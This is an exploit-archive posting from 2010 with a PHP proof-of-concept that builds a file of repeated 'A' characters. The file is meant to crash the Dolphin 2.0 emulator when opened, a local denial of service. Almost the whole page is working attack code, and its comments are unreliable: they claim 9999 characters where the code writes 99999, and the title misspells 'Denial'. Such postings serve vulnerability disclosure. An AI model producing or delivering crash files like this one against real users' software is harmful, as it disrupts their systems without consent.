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Dolphin 2.0 (.elf) Local Daniel Of Service

Posted on 09 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Dolphin 2.0 (.elf) Local Daniel Of Service</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==========================================
Dolphin 2.0 (.elf) Local Daniel Of Service
==========================================

&lt;?php
# Dolphin 2.0 (.elf) Local Daniel Of Service
# Software Site: http://www.dolphin-emu.com/
# Software Download: http://www.dolphin-emu.com/downloads.php?cat_id=9&amp;download_id=94
# Author: Pr0T3cT10n &lt;pr0t3ct10n@gmail.com&gt;
# Site: http://www.nullbyte.org.il
##################################################################
# Dolphin 2.0 is vulnerable to local denial of service attack.
# When we try to open a file by 'Open(CTRL+O)'
# that contains 9999 chars ('A'), so dolphin should crash.
##################################################################
# PoC / Code:
$buffer = str_repeat('A', 99999); # Create 9999 chars('A')..
if(file_put_contents('crash.elf', $buffer)) {
 echo(&quot;File created successfuly.
Dolphin should crash when you open the file with it.
&quot;);
} else {
 echo(&quot;Can't create file. Try again.
&quot;);
}
# Cya :)
# NULLBYTE.ORG.IL
####################
?&gt;


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